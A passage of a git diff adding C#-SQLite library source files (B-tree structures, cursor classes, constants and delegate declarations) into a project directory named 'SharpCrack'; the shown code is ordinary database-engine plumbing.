+#if !SQLITE_OMIT_AUTOVACUUM + public bool autoVacuum; /* True if auto-vacuum is enabled */ + public bool incrVacuum; /* True if incr-vacuum is enabled */ +#endif + public u8 inTransaction; /* Transaction state */ + public bool doNotUseWAL; /* If true, do not open write-ahead-log file */ + public u16 maxLocal; /* Maximum local payload in non-LEAFDATA tables */ + public u16 minLocal; /* Minimum local payload in non-LEAFDATA tables */ + public u16 maxLeaf; /* Maximum local payload in a LEAFDATA table */ + public u16 minLeaf; /* Minimum local payload in a LEAFDATA table */ + public u32 pageSize; /* Total number of bytes on a page */ + public u32 usableSize; /* Number of usable bytes on each page */ + public int nTransaction; /* Number of open transactions (read + write) */ + public Pgno nPage; /* Number of pages in the database */ + public Schema pSchema; /* Pointer to space allocated by sqlite3BtreeSchema() */ + public dxFreeSchema xFreeSchema;/* Destructor for BtShared.pSchema */ + public sqlite3_mutex mutex; /* Non-recursive mutex required to access this object */ + public Bitvec pHasContent; /* Set of pages moved to free-list this transaction */ +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +public int nRef; /* Number of references to this structure */ +public BtShared pNext; /* Next on a list of sharable BtShared structs */ +public BtLock pLock; /* List of locks held on this shared-btree struct */ +public Btree pWriter; /* Btree with currently open write transaction */ +public u8 isExclusive; /* True if pWriter has an EXCLUSIVE lock on the db */ +public u8 isPending; /* If waiting for read-locks to clear */ +#endif + public byte[] pTmpSpace; /* BtShared.pageSize bytes of space for tmp use */ + }; + + /* + ** An instance of the following structure is used to hold information + ** about a cell. The parseCellPtr() function fills in this structure + ** based on information extract from the raw disk page. + */ + //typedef struct CellInfo CellInfo; + public struct CellInfo + { + public int iCell; /* Offset to start of cell content -- Needed for C# */ + public byte[] pCell; /* Pointer to the start of cell content */ + public i64 nKey; /* The key for INTKEY tables, or number of bytes in key */ + public u32 nData; /* Number of bytes of data */ + public u32 nPayload; /* Total amount of payload */ + public u16 nHeader; /* Size of the cell content header in bytes */ + public u16 nLocal; /* Amount of payload held locally */ + public u16 iOverflow; /* Offset to overflow page number. Zero if no overflow */ + public u16 nSize; /* Size of the cell content on the main b-tree page */ + public bool Equals( CellInfo ci ) + { + if ( ci.iCell >= ci.pCell.Length || iCell >= this.pCell.Length ) + return false; + if ( ci.pCell[ci.iCell] != this.pCell[iCell] ) + return false; + if ( ci.nKey != this.nKey || ci.nData != this.nData || ci.nPayload != this.nPayload ) + return false; + if ( ci.nHeader != this.nHeader || ci.nLocal != this.nLocal ) + return false; + if ( ci.iOverflow != this.iOverflow || ci.nSize != this.nSize ) + return false; + return true; + } + }; + + /* + ** Maximum depth of an SQLite B-Tree structure. Any B-Tree deeper than + ** this will be declared corrupt. This value is calculated based on a + ** maximum database size of 2^31 pages a minimum fanout of 2 for a + ** root-node and 3 for all other internal nodes. + ** + ** If a tree that appears to be taller than this is encountered, it is + ** assumed that the database is corrupt. + */ + //#define BTCURSOR_MAX_DEPTH 20 + const int BTCURSOR_MAX_DEPTH = 20; + + /* + ** A cursor is a pointer to a particular entry within a particular + ** b-tree within a database file. + ** + ** The entry is identified by its MemPage and the index in + ** MemPage.aCell[] of the entry. + ** + ** A single database file can shared by two more database connections, + ** but cursors cannot be shared. Each cursor is associated with a + ** particular database connection identified BtCursor.pBtree.db. + ** + ** Fields in this structure are accessed under the BtShared.mutex + ** found at self.pBt.mutex. + */ + public class BtCursor + { + public Btree pBtree; /* The Btree to which this cursor belongs */ + public BtShared pBt; /* The BtShared this cursor points to */ + public BtCursor pNext; + public BtCursor pPrev; /* Forms a linked list of all cursors */ + public KeyInfo pKeyInfo; /* Argument passed to comparison function */ + public Pgno pgnoRoot; /* The root page of this tree */ + public sqlite3_int64 cachedRowid; /* Next rowid cache. 0 means not valid */ + public CellInfo info = new CellInfo(); /* A parse of the cell we are pointing at */ + public byte[] pKey; /* Saved key that was cursor's last known position */ + public i64 nKey; /* Size of pKey, or last integer key */ + public int skipNext; /* Prev() is noop if negative. Next() is noop if positive */ + public u8 wrFlag; /* True if writable */ + public u8 atLast; /* VdbeCursor pointing to the last entry */ + public bool validNKey; /* True if info.nKey is valid */ + public int eState; /* One of the CURSOR_XXX constants (see below) */ +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +public Pgno[] aOverflow; /* Cache of overflow page locations */ +public bool isIncrblobHandle; /* True if this cursor is an incr. io handle */ +#endif + public i16 iPage; /* Index of current page in apPage */ + public u16[] aiIdx = new u16[BTCURSOR_MAX_DEPTH]; /* Current index in apPage[i] */ + public MemPage[] apPage = new MemPage[BTCURSOR_MAX_DEPTH]; /* Pages from root to current page */ + + public void Clear() + { + pNext = null; + pPrev = null; + pKeyInfo = null; + pgnoRoot = 0; + cachedRowid = 0; + info = new CellInfo(); + wrFlag = 0; + atLast = 0; + validNKey = false; + eState = 0; + pKey = null; + nKey = 0; + skipNext = 0; +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +isIncrblobHandle=false; +aOverflow= null; +#endif + iPage = 0; + } + public BtCursor Copy() + { + BtCursor cp = (BtCursor)MemberwiseClone(); + return cp; + } + }; + + /* + ** Potential values for BtCursor.eState. + ** + ** CURSOR_VALID: + ** VdbeCursor points to a valid entry. getPayload() etc. may be called. + ** + ** CURSOR_INVALID: + ** VdbeCursor does not point to a valid entry. This can happen (for example) + ** because the table is empty or because BtreeCursorFirst() has not been + ** called. + ** + ** CURSOR_REQUIRESEEK: + ** The table that this cursor was opened on still exists, but has been + ** modified since the cursor was last used. The cursor position is saved + ** in variables BtCursor.pKey and BtCursor.nKey. When a cursor is in + ** this state, restoreCursorPosition() can be called to attempt to + ** seek the cursor to the saved position. + ** + ** CURSOR_FAULT: + ** A unrecoverable error (an I/O error or a malloc failure) has occurred + ** on a different connection that shares the BtShared cache with this + ** cursor. The error has left the cache in an inconsistent state. + ** Do nothing else with this cursor. Any attempt to use the cursor + ** should return the error code stored in BtCursor.skip + */ + const int CURSOR_INVALID = 0; + const int CURSOR_VALID = 1; + const int CURSOR_REQUIRESEEK = 2; + const int CURSOR_FAULT = 3; + + /* + ** The database page the PENDING_BYTE occupies. This page is never used. + */ + //# define PENDING_BYTE_PAGE(pBt) PAGER_MJ_PGNO(pBt) + // TODO -- Convert PENDING_BYTE_PAGE to inline + static u32 PENDING_BYTE_PAGE( BtShared pBt ) + { + return (u32)PAGER_MJ_PGNO( pBt.pPager ); + } + + /* + ** These macros define the location of the pointer-map entry for a + ** database page. The first argument to each is the number of usable + ** bytes on each page of the database (often 1024). The second is the + ** page number to look up in the pointer map. + ** + ** PTRMAP_PAGENO returns the database page number of the pointer-map + ** page that stores the required pointer. PTRMAP_PTROFFSET returns + ** the offset of the requested map entry. + ** + ** If the pgno argument passed to PTRMAP_PAGENO is a pointer-map page, + ** then pgno is returned. So (pgno==PTRMAP_PAGENO(pgsz, pgno)) can be + ** used to test if pgno is a pointer-map page. PTRMAP_ISPAGE implements + ** this test. + */ + //#define PTRMAP_PAGENO(pBt, pgno) ptrmapPageno(pBt, pgno) + static Pgno PTRMAP_PAGENO( BtShared pBt, Pgno pgno ) + { + return ptrmapPageno( pBt, pgno ); + } + //#define PTRMAP_PTROFFSET(pgptrmap, pgno) (5*(pgno-pgptrmap-1)) + static u32 PTRMAP_PTROFFSET( u32 pgptrmap, u32 pgno ) + { + return ( 5 * ( pgno - pgptrmap - 1 ) ); + } + //#define PTRMAP_ISPAGE(pBt, pgno) (PTRMAP_PAGENO((pBt),(pgno))==(pgno)) + static bool PTRMAP_ISPAGE( BtShared pBt, u32 pgno ) + { + return ( PTRMAP_PAGENO( ( pBt ), ( pgno ) ) == ( pgno ) ); + } + /* + ** The pointer map is a lookup table that identifies the parent page for + ** each child page in the database file. The parent page is the page that + ** contains a pointer to the child. Every page in the database contains + ** 0 or 1 parent pages. (In this context 'database page' refers + ** to any page that is not part of the pointer map itself.) Each pointer map + ** entry consists of a single byte 'type' and a 4 byte parent page number. + ** The PTRMAP_XXX identifiers below are the valid types. + ** + ** The purpose of the pointer map is to facility moving pages from one + ** position in the file to another as part of autovacuum. When a page + ** is moved, the pointer in its parent must be updated to point to the + ** new location. The pointer map is used to locate the parent page quickly. + ** + ** PTRMAP_ROOTPAGE: The database page is a root-page. The page-number is not + ** used in this case. + ** + ** PTRMAP_FREEPAGE: The database page is an unused (free) page. The page-number + ** is not used in this case. + ** + ** PTRMAP_OVERFLOW1: The database page is the first page in a list of + ** overflow pages. The page number identifies the page that + ** contains the cell with a pointer to this overflow page. + ** + ** PTRMAP_OVERFLOW2: The database page is the second or later page in a list of + ** overflow pages. The page-number identifies the previous + ** page in the overflow page list. + ** + ** PTRMAP_BTREE: The database page is a non-root btree page. The page number + ** identifies the parent page in the btree. + */ + //#define PTRMAP_ROOTPAGE 1 + //#define PTRMAP_FREEPAGE 2 + //#define PTRMAP_OVERFLOW1 3 + //#define PTRMAP_OVERFLOW2 4 + //#define PTRMAP_BTREE 5 + const int PTRMAP_ROOTPAGE = 1; + const int PTRMAP_FREEPAGE = 2; + const int PTRMAP_OVERFLOW1 = 3; + const int PTRMAP_OVERFLOW2 = 4; + const int PTRMAP_BTREE = 5; + + /* A bunch of Debug.Assert() statements to check the transaction state variables + ** of handle p (type Btree*) are internally consistent. + */ +#if DEBUG + //#define btreeIntegrity(p) \ + // Debug.Assert( p.pBt.inTransaction!=TRANS_NONE || p.pBt.nTransaction==0 ); \ + // Debug.Assert( p.pBt.inTransaction>=p.inTrans ); + static void btreeIntegrity( Btree p ) + { + Debug.Assert( p.pBt.inTransaction != TRANS_NONE || p.pBt.nTransaction == 0 ); + Debug.Assert( p.pBt.inTransaction >= p.inTrans ); + } +#else +static void btreeIntegrity(Btree p) { } +#endif + + /* +** The ISAUTOVACUUM macro is used within balance_nonroot() to determine +** if the database supports auto-vacuum or not. Because it is used +** within an expression that is an argument to another macro +** (sqliteMallocRaw), it is not possible to use conditional compilation. +** So, this macro is defined instead. +*/ +#if !SQLITE_OMIT_AUTOVACUUM + //#define ISAUTOVACUUM (pBt.autoVacuum) +#else +//#define ISAUTOVACUUM 0 +public static bool ISAUTOVACUUM =false; +#endif + + + /* +** This structure is passed around through all the sanity checking routines +** in order to keep track of some global state information. +*/ + //typedef struct IntegrityCk IntegrityCk; + public class IntegrityCk + { + public BtShared pBt; /* The tree being checked out */ + public Pager pPager; /* The associated pager. Also accessible by pBt.pPager */ + public Pgno nPage; /* Number of pages in the database */ + public int[] anRef; /* Number of times each page is referenced */ + public int mxErr; /* Stop accumulating errors when this reaches zero */ + public int nErr; /* Number of messages written to zErrMsg so far */ + //public int mallocFailed; /* A memory allocation error has occurred */ + public StrAccum errMsg = new StrAccum( 100 ); /* Accumulate the error message text here */ + }; + + /* + ** Read or write a two- and four-byte big-endian integer values. + */ + //#define get2byte(x) ((x)[0]<<8 | (x)[1]) + static int get2byte( byte[] p, int offset ) + { + return p[offset + 0] << 8 | p[offset + 1]; + } + + //#define put2byte(p,v) ((p)[0] = (u8)((v)>>8), (p)[1] = (u8)(v)) + static void put2byte( byte[] pData, int Offset, u32 v ) + { + pData[Offset + 0] = (byte)( v >> 8 ); + pData[Offset + 1] = (byte)v; + } + static void put2byte( byte[] pData, int Offset, int v ) + { + pData[Offset + 0] = (byte)( v >> 8 ); + pData[Offset + 1] = (byte)v; + } + + //#define get4byte sqlite3Get4byte + //#define put4byte sqlite3Put4byte + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Btree_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Btree_h.cs new file mode 100644 index 0000000..ce07907 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Btree_h.cs @@ -0,0 +1,306 @@ +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the interface that the sqlite B-Tree file + ** subsystem. See comments in the source code for a detailed description + ** of what each interface routine does. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#if !_BTREE_H_ + //#define _BTREE_H_ + + /* TODO: This definition is just included so other modules compile. It + ** needs to be revisited. + */ + const int SQLITE_N_BTREE_META = 10; + + /* + ** If defined as non-zero, auto-vacuum is enabled by default. Otherwise + ** it must be turned on for each database using "PRAGMA auto_vacuum = 1". + */ +#if !SQLITE_DEFAULT_AUTOVACUUM + const int SQLITE_DEFAULT_AUTOVACUUM = 0; +#endif + + const int BTREE_AUTOVACUUM_NONE = 0; /* Do not do auto-vacuum */ + const int BTREE_AUTOVACUUM_FULL = 1; /* Do full auto-vacuum */ + const int BTREE_AUTOVACUUM_INCR = 2; /* Incremental vacuum */ + + /* + ** Forward declarations of structure + */ + //typedef struct Btree Btree; + //typedef struct BtCursor BtCursor; + //typedef struct BtShared BtShared; + + //int sqlite3BtreeOpen( + // sqlite3_vfs *pVfs, /* VFS to use with this b-tree */ + // string zFilename, /* Name of database file to open */ + // sqlite3 db, /* Associated database connection */ + // Btree **ppBtree, /* Return open Btree* here */ + // int flags, /* Flags */ + // int vfsFlags /* Flags passed through to VFS open */ + //); + + /* The flags parameter to sqlite3BtreeOpen can be the bitwise or of the + ** following values. + ** + ** NOTE: These values must match the corresponding PAGER_ values in + ** pager.h. + */ + //#define BTREE_OMIT_JOURNAL 1 /* Do not create or use a rollback journal */ + //#define BTREE_NO_READLOCK 2 /* Omit readlocks on readonly files */ + //#define BTREE_MEMORY 4 /* This is an in-memory DB */ + //#define BTREE_SINGLE 8 /* The file contains at most 1 b-tree */ + //#define BTREE_UNORDERED 16 /* Use of a hash implementation is OK */ + const int BTREE_OMIT_JOURNAL = 1; /* Do not create or use a rollback journal */ + const int BTREE_NO_READLOCK = 2; /* Omit readlocks on readonly files */ + const int BTREE_MEMORY = 4; /* This is an in-memory DB */ + const int BTREE_SINGLE = 8; /* The file contains at most 1 b-tree */ + const int BTREE_UNORDERED = 16; /* Use of a hash implementation is OK */ + + //int sqlite3BtreeClose(Btree); + //int sqlite3BtreeSetCacheSize(Btree*,int); + //int sqlite3BtreeSetSafetyLevel(Btree*,int,int,int); + //int sqlite3BtreeSyncDisabled(Btree); + //int sqlite3BtreeSetPageSize(Btree *p, int nPagesize, int nReserve, int eFix); + //int sqlite3BtreeGetPageSize(Btree); + //int sqlite3BtreeMaxPageCount(Btree*,int); + //u32 sqlite3BtreeLastPage(Btree); + //int sqlite3BtreeSecureDelete(Btree*,int); + //int sqlite3BtreeGetReserve(Btree); + //int sqlite3BtreeSetAutoVacuum(Btree , int); + //int sqlite3BtreeGetAutoVacuum(Btree ); + //int sqlite3BtreeBeginTrans(Btree*,int); + //int sqlite3BtreeCommitPhaseOne(Btree*, string zMaster); + //int sqlite3BtreeCommitPhaseTwo(Btree*, int); + //int sqlite3BtreeCommit(Btree); + //int sqlite3BtreeRollback(Btree); + //int sqlite3BtreeBeginStmt(Btree); + //int sqlite3BtreeCreateTable(Btree*, int*, int flags); + //int sqlite3BtreeIsInTrans(Btree); + //int sqlite3BtreeIsInReadTrans(Btree); + //int sqlite3BtreeIsInBackup(Btree); + //void *sqlite3BtreeSchema(Btree , int, void()(void )); + //int sqlite3BtreeSchemaLocked( Btree* pBtree ); + //int sqlite3BtreeLockTable( Btree* pBtree, int iTab, u8 isWriteLock ); + //int sqlite3BtreeSavepoint(Btree *, int, int); + + //string sqlite3BtreeGetFilename(Btree ); + //string sqlite3BtreeGetJournalname(Btree ); + //int sqlite3BtreeCopyFile(Btree *, Btree ); + + //int sqlite3BtreeIncrVacuum(Btree ); + + /* The flags parameter to sqlite3BtreeCreateTable can be the bitwise OR + ** of the flags shown below. + ** + ** Every SQLite table must have either BTREE_INTKEY or BTREE_BLOBKEY set. + ** With BTREE_INTKEY, the table key is a 64-bit integer and arbitrary data + ** is stored in the leaves. (BTREE_INTKEY is used for SQL tables.) With + ** BTREE_BLOBKEY, the key is an arbitrary BLOB and no content is stored + ** anywhere - the key is the content. (BTREE_BLOBKEY is used for SQL + ** indices.) + */ + //#define BTREE_INTKEY 1 /* Table has only 64-bit signed integer keys */ + //#define BTREE_BLOBKEY 2 /* Table has keys only - no data */ + const int BTREE_INTKEY = 1; + const int BTREE_BLOBKEY = 2; + + //int sqlite3BtreeDropTable(Btree*, int, int); + //int sqlite3BtreeClearTable(Btree*, int, int); + //void sqlite3BtreeTripAllCursors(Btree*, int); + + //void sqlite3BtreeGetMeta(Btree *pBtree, int idx, u32 *pValue); + //int sqlite3BtreeUpdateMeta(Btree*, int idx, u32 value); + + + /* + ** The second parameter to sqlite3BtreeGetMeta or sqlite3BtreeUpdateMeta + ** should be one of the following values. The integer values are assigned + ** to constants so that the offset of the corresponding field in an + ** SQLite database header may be found using the following formula: + ** + ** offset = 36 + (idx * 4) + ** + ** For example, the free-page-count field is located at byte offset 36 of + ** the database file header. The incr-vacuum-flag field is located at + ** byte offset 64 (== 36+4*7). + */ + //#define BTREE_FREE_PAGE_COUNT 0 + //#define BTREE_SCHEMA_VERSION 1 + //#define BTREE_FILE_FORMAT 2 + //#define BTREE_DEFAULT_CACHE_SIZE 3 + //#define BTREE_LARGEST_ROOT_PAGE 4 + //#define BTREE_TEXT_ENCODING 5 + //#define BTREE_USER_VERSION 6 + //#define BTREE_INCR_VACUUM 7 + const int BTREE_FREE_PAGE_COUNT = 0; + const int BTREE_SCHEMA_VERSION = 1; + const int BTREE_FILE_FORMAT = 2; + const int BTREE_DEFAULT_CACHE_SIZE = 3; + const int BTREE_LARGEST_ROOT_PAGE = 4; + const int BTREE_TEXT_ENCODING = 5; + const int BTREE_USER_VERSION = 6; + const int BTREE_INCR_VACUUM = 7; + + //int sqlite3BtreeCursor( + // Btree*, /* BTree containing table to open */ + // int iTable, /* Index of root page */ + // int wrFlag, /* 1 for writing. 0 for read-only */ + // struct KeyInfo*, /* First argument to compare function */ + // BtCursor pCursor /* Space to write cursor structure */ + //); + //int sqlite3BtreeCursorSize(void); + //void sqlite3BtreeCursorZero(BtCursor); + + //int sqlite3BtreeCloseCursor(BtCursor); + //int sqlite3BtreeMovetoUnpacked( + // BtCursor*, + // UnpackedRecord pUnKey, + // i64 intKey, + // int bias, + // int pRes + //); + //int sqlite3BtreeCursorHasMoved(BtCursor*, int); + //int sqlite3BtreeDelete(BtCursor); + //int sqlite3BtreeInsert(BtCursor*, const void pKey, i64 nKey, + // const void pData, int nData, + // int nZero, int bias, int seekResult); + //int sqlite3BtreeFirst(BtCursor*, int pRes); + //int sqlite3BtreeLast(BtCursor*, int pRes); + //int sqlite3BtreeNext(BtCursor*, int pRes); + //int sqlite3BtreeEof(BtCursor); + //int sqlite3BtreePrevious(BtCursor*, int pRes); + //int sqlite3BtreeKeySize(BtCursor*, i64 pSize); + //int sqlite3BtreeKey(BtCursor*, u32 offset, u32 amt, void); + //const void *sqlite3BtreeKeyFetch(BtCursor*, int pAmt); + //const void *sqlite3BtreeDataFetch(BtCursor*, int pAmt); + //int sqlite3BtreeDataSize(BtCursor*, u32 pSize); + //int sqlite3BtreeData(BtCursor*, u32 offset, u32 amt, void); + //void sqlite3BtreeSetCachedRowid(BtCursor*, sqlite3_int64); + //sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor); + + //char *sqlite3BtreeIntegrityCheck(Btree*, int *aRoot, int nRoot, int, int); + //struct Pager *sqlite3BtreePager(Btree); + + //int sqlite3BtreePutData(BtCursor*, u32 offset, u32 amt, void); + //void sqlite3BtreeCacheOverflow(BtCursor ); + //void sqlite3BtreeClearCursor(BtCursor ); + + //int sqlite3BtreeSetVersion(Btree *pBt, int iVersion); + + //#if !NDEBUG + //int sqlite3BtreeCursorIsValid(BtCursor); + //#endif + + //#if !SQLITE_OMIT_BTREECOUNT + //int sqlite3BtreeCount(BtCursor *, i64 ); + //#endif + + //#if SQLITE_TEST + //int sqlite3BtreeCursorInfo(BtCursor*, int*, int); + //void sqlite3BtreeCursorList(Btree); + //#endif + +//#if !SQLITE_OMIT_WAL +//int sqlite3BtreeCheckpoint(Btree*, int, int *, int ); +//#endif + + /* +** If we are not using shared cache, then there is no need to +** use mutexes to access the BtShared structures. So make the +** Enter and Leave procedures no-ops. +*/ +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +//void sqlite3BtreeEnter(Btree); +//void sqlite3BtreeEnterAll(sqlite3); +#else + //# define sqlite3BtreeEnter(X) + static void sqlite3BtreeEnter( Btree bt ) + { + } + //# define sqlite3BtreeEnterAll(X) + static void sqlite3BtreeEnterAll( sqlite3 p ) + { + } +#endif + +#if !(SQLITE_OMIT_SHARED_CACHE) && SQLITE_THREADSAFE +//int sqlite3BtreeSharable(Btree); +//void sqlite3BtreeLeave(Btree); +//void sqlite3BtreeEnterCursor(BtCursor); +//void sqlite3BtreeLeaveCursor(BtCursor); +//void sqlite3BtreeLeaveAll(sqlite3); +#if !NDEBUG +/* These routines are used inside Debug.Assert() statements only. */ +int sqlite3BtreeHoldsMutex(Btree); +int sqlite3BtreeHoldsAllMutexes(sqlite3); +int sqlite3SchemaMutexHeld(sqlite3*,int,Schema); +#endif +#else + //# define sqlite3BtreeSharable(X) 0 + static bool sqlite3BtreeSharable( Btree X ) + { + return false; + } + + //# define sqlite3BtreeLeave(X) + static void sqlite3BtreeLeave( Btree X ) + { + } + + //# define sqlite3BtreeEnterCursor(X) + static void sqlite3BtreeEnterCursor( BtCursor X ) + { + } + + //# define sqlite3BtreeLeaveCursor(X) + static void sqlite3BtreeLeaveCursor( BtCursor X ) + { + } + + //# define sqlite3BtreeLeaveAll(X) + static void sqlite3BtreeLeaveAll( sqlite3 X ) + { + } + + //# define sqlite3BtreeHoldsMutex(X) 1 + static bool sqlite3BtreeHoldsMutex( Btree X ) + { + return true; + } + + //# define sqlite3BtreeHoldsAllMutexes(X) 1 + static bool sqlite3BtreeHoldsAllMutexes( sqlite3 X ) + { + return true; + } + //# define sqlite3SchemaMutexHeld(X,Y,Z) 1 + static bool sqlite3SchemaMutexHeld( sqlite3 X, int y, Schema z ) + { + return true; + } +#endif + + //#endif // * _BTREE_H_ */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Delegates.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Delegates.cs new file mode 100644 index 0000000..5b0676a --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Delegates.cs @@ -0,0 +1,375 @@ +/* +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +************************************************************************* +*/ + +using System; +using System.Text; +using HANDLE = System.IntPtr; +using i16 = System.Int16; +using sqlite3_int64 = System.Int64; +using u32 = System.UInt32; + + +namespace Community.CsharpSqlite +{ + using DbPage = Sqlite3.PgHdr; + using sqlite3_pcache = Sqlite3.PCache1; + using sqlite3_stmt = Sqlite3.Vdbe; + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + public delegate void dxAuth( object pAuthArg, int b, string c, string d, string e, string f ); + public delegate int dxBusy( object pBtShared, int iValue ); + public delegate void dxFreeAux( object pAuxArg ); + public delegate int dxCallback( object pCallbackArg, sqlite3_int64 argc, object p2, object p3 ); + public delegate void dxalarmCallback( object pNotUsed, sqlite3_int64 iNotUsed, int size ); + public delegate void dxCollNeeded( object pCollNeededArg, sqlite3 db, int eTextRep, string collationName ); + public delegate int dxCommitCallback( object pCommitArg ); + public delegate int dxCompare( object pCompareArg, int size1, string Key1, int size2, string Key2 ); + public delegate bool dxCompare4( string Key1, int size1, string Key2, int size2 ); + public delegate void dxDel( ref string pDelArg ); // needs ref + public delegate void dxDelCollSeq( ref object pDelArg ); // needs ref + public delegate void dxLog( object pLogArg, int i, string msg ); + public delegate void dxLogcallback( object pCallbackArg, int argc, string p2 ); + public delegate void dxProfile( object pProfileArg, string msg, sqlite3_int64 time ); + public delegate int dxProgress( object pProgressArg ); + public delegate void dxRollbackCallback( object pRollbackArg ); + public delegate void dxTrace( object pTraceArg, string msg ); + public delegate void dxUpdateCallback( object pUpdateArg, int b, string c, string d, sqlite3_int64 e ); + public delegate int dxWalCallback( object pWalArg, sqlite3 db, string zDb, int nEntry ); + + /* + * FUNCTIONS + * + */ + public delegate void dxFunc( sqlite3_context ctx, int intValue, sqlite3_value[] value ); + public delegate void dxStep( sqlite3_context ctx, int intValue, sqlite3_value[] value ); + public delegate void dxFinal( sqlite3_context ctx ); + public delegate void dxFDestroy( object pArg ); + // + public delegate string dxColname( sqlite3_value pVal ); + public delegate int dxFuncBtree( Btree p ); + public delegate int dxExprTreeFunction( ref int pArg, Expr pExpr ); + public delegate int dxExprTreeFunction_NC( NameContext pArg, ref Expr pExpr ); + public delegate int dxExprTreeFunction_OBJ( object pArg, Expr pExpr ); + /* + VFS Delegates + */ + public delegate int dxClose( sqlite3_file File_ID ); + public delegate int dxCheckReservedLock( sqlite3_file File_ID, ref int pRes ); + public delegate int dxDeviceCharacteristics( sqlite3_file File_ID ); + public delegate int dxFileControl( sqlite3_file File_ID, int op, ref sqlite3_int64 pArgs ); + public delegate int dxFileSize( sqlite3_file File_ID, ref long size ); + public delegate int dxLock( sqlite3_file File_ID, int locktype ); + public delegate int dxRead( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset ); + public delegate int dxSectorSize( sqlite3_file File_ID ); + public delegate int dxSync( sqlite3_file File_ID, int flags ); + public delegate int dxTruncate( sqlite3_file File_ID, sqlite3_int64 size ); + public delegate int dxUnlock( sqlite3_file File_ID, int locktype ); + public delegate int dxWrite( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset ); + public delegate int dxShmMap( sqlite3_file File_ID, int iPg, int pgsz, int pInt, out object pvolatile ); + public delegate int dxShmLock( sqlite3_file File_ID, int offset, int n, int flags ); + public delegate void dxShmBarrier( sqlite3_file File_ID ); + public delegate int dxShmUnmap( sqlite3_file File_ID, int deleteFlag ); + /* + sqlite_vfs Delegates + */ + public delegate int dxOpen( sqlite3_vfs vfs, string zName, sqlite3_file db, int flags, out int pOutFlags ); + public delegate int dxDelete( sqlite3_vfs vfs, string zName, int syncDir ); + public delegate int dxAccess( sqlite3_vfs vfs, string zName, int flags, out int pResOut ); + public delegate int dxFullPathname( sqlite3_vfs vfs, string zName, int nOut, StringBuilder zOut ); + public delegate HANDLE dxDlOpen( sqlite3_vfs vfs, string zFilename ); + public delegate int dxDlError( sqlite3_vfs vfs, int nByte, string zErrMsg ); + public delegate HANDLE dxDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol ); + public delegate int dxDlClose( sqlite3_vfs vfs, HANDLE data ); + public delegate int dxRandomness( sqlite3_vfs vfs, int nByte, byte[] buffer ); + public delegate int dxSleep( sqlite3_vfs vfs, int microseconds ); + public delegate int dxCurrentTime( sqlite3_vfs vfs, ref double currenttime ); + public delegate int dxGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf ); + public delegate int dxCurrentTimeInt64( sqlite3_vfs pVfs, ref sqlite3_int64 pTime ); + public delegate int dxSetSystemCall( sqlite3_vfs pVfs, string zName, sqlite3_int64 sqlite3_syscall_ptr ); + public delegate int dxGetSystemCall( sqlite3_vfs pVfs, string zName, sqlite3_int64 sqlite3_syscall_ptr ); + public delegate int dxNextSystemCall( sqlite3_vfs pVfs, string zName, sqlite3_int64 sqlite3_syscall_ptr ); + + /* + * Pager Delegates + */ + + public delegate void dxDestructor( DbPage dbPage ); /* Call this routine when freeing pages */ + public delegate int dxBusyHandler( object pBusyHandlerArg ); + public delegate void dxReiniter( DbPage dbPage ); /* Call this routine when reloading pages */ + + public delegate void dxFreeSchema( Schema schema ); + +#if !NOT_SQLITE_HAS_CODEC + public delegate byte[] dxCodec( codec_ctx pCodec, byte[] D, uint pageNumber, int X ); //void *(*xCodec)(void*,void*,Pgno,int); /* Routine for en/decoding data */ + public delegate void dxCodecSizeChng( codec_ctx pCodec, int pageSize, i16 nReserve ); //void (*xCodecSizeChng)(void*,int,int); /* Notify of page size changes */ + public delegate void dxCodecFree( ref codec_ctx pCodec ); //void (*xCodecFree)(void); /* Destructor for the codec */ +#endif + + //Module + public delegate void dxDestroy( ref PgHdr pDestroyArg ); + public delegate int dxStress( object obj, PgHdr pPhHdr ); + + //sqlite3_module + public delegate int smdxCreateConnect( sqlite3 db, object pAux, int argc, string[] constargv, out sqlite3_vtab ppVTab, out string pError ); + public delegate int smdxBestIndex( sqlite3_vtab pVTab, ref sqlite3_index_info pIndex ); + public delegate int smdxDisconnect( ref object pVTab ); + public delegate int smdxDestroy(ref object pVTab ); + public delegate int smdxOpen( sqlite3_vtab pVTab, out sqlite3_vtab_cursor ppCursor ); + public delegate int smdxClose( ref sqlite3_vtab_cursor pCursor ); + public delegate int smdxFilter( sqlite3_vtab_cursor pCursor, int idxNum, string idxStr, int argc, sqlite3_value[] argv ); + public delegate int smdxNext( sqlite3_vtab_cursor pCursor ); + public delegate int smdxEof( sqlite3_vtab_cursor pCursor ); + public delegate int smdxColumn( sqlite3_vtab_cursor pCursor, sqlite3_context p2, int p3 ); + public delegate int smdxRowid( sqlite3_vtab_cursor pCursor, out sqlite3_int64 pRowid ); + public delegate int smdxUpdate( sqlite3_vtab pVTab, int p1, 